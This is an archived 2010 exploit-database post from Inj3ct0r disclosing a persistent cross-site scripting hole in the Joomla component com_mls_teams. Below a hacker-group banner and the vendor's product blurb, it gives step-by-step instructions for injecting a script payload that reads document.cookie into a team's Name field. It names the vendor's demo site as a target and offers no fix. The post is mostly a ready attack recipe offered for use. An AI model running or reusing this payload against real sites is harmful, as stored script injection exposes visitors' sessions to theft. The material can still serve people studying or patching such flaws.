Joomla Component com_mls_teams Persistent XSS Vulnerability
Posted on 22 July 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Joomla Component com_mls_teams Persistent XSS Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=========================================================== Joomla Component com_mls_teams Persistent XSS Vulnerability =========================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' __ /'__` / \__ /'__` 0 0 /\_, ___ /\_/\_ ___ ,_/ / _ ___ 1 1 /_/ /' _ ` / /_/_\_<_ /'___ / /`'__ 0 0 / / / / \__/ \_ \_ / 1 1 \_ \_ \_\_ \____/ \____\ \__\ \____/ \_ 0 0 /_//_//_/ \_ /___/ /____/ /__/ /___/ /_/ 1 1 \____/ >> Exploit database separated by exploit 0 0 /___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ########################################## 1 0 I'm Sid3^effects member from Inj3ct0r Team 1 1 ########################################## 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 Name : Joomla com_mls_teams Persistent XSS Vulnerability Date : july 22,2010 Critical Level : HIGH vendor URL :http://www.mylansite.org/ Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com> special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_,Milw0rm :D greetz to :www.topsecure.net,SeeMe,**RoAd_KiLlEr**,indoushka,Sn!pEr.S!Te All ICW members,my friends,Hack0wn and Milw0rm :D luv y0 guyz ####################################################################################################### Description : This component is part of the mylansite suite of components for LAN party organization, though it can conveniently be used for any type of event. The brand new 2.5.0 version now runs on Joomla! 1.5 in native mode and brings some new features and improves the look and feel in the front end, simplifies tasks in the back end and has improved overall stability. It features possibility for users to write comments and complete reviews of an event. Recently, a brand new totally flexible ticketing system has been added which allows you to publish different tickets at different times (e.g. to give an early bird discount), offer volume discounts, give users to buy more than one ticket and hand them off to one of their friends (using a generated code). You can even pre-define codes if you want to give free admission to people (for example if you do a raffle for free admission). ####################################################################################################### Xploit :Persistent XSS Vulnerability Step 1 : Register :P and add a new team URL :http://demo.mylansite.org/index.php?option=com_mls_teams&Itemid=56&task=new Step 2 : Insert your xss script in the " Name: " option . Attack pattern :"><script>alert(document.cookie)</script>.. Step check your team :D Demo url :http://demo.mylansite.org/index.php?option=com_mls_teams&Itemid=56 Screenshot : http://img838.imageshack.us/img838/424/commlsteams.png ############################################################################################################### # 0day no more # Sid3^effects # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-22]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
